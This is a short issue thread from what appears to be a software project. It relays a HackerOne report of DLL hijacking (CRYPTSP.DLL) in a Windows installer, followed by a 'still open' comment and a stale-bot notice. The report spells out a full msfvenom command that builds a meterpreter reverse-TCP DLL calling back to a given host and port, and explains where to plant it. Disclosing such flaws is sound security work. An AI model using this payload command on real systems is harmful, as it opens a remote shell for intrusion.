DLL Hijacking In Windows Installer

• Version: ^20.25.0

• Target: --win --x64 --ia32

We received the following report for a security researcher on HackerOne about our application. I am not sure if it is valid, but here is what was reported:

I would like to report that the xxxxx-installer.exe is vulnerable to DLL highjacking on the following library:

C:\Windows\SYSTEM32\CRYPTSP.DLL

In order to recreate the issue, simply generate a malicious DLL using metasploit with the following command: “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.123.12.3 LPORT=4444 -f DLL >CRYPTSP.DLL” and place the malicious DLL in the same folder as where the installation executable will be run from on the client machine.

This was tested on a fully patched Windows 7 professional client.

Impact RCE on the client computer

[kspearrin]

Still an open issue.

[stale[bot]]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.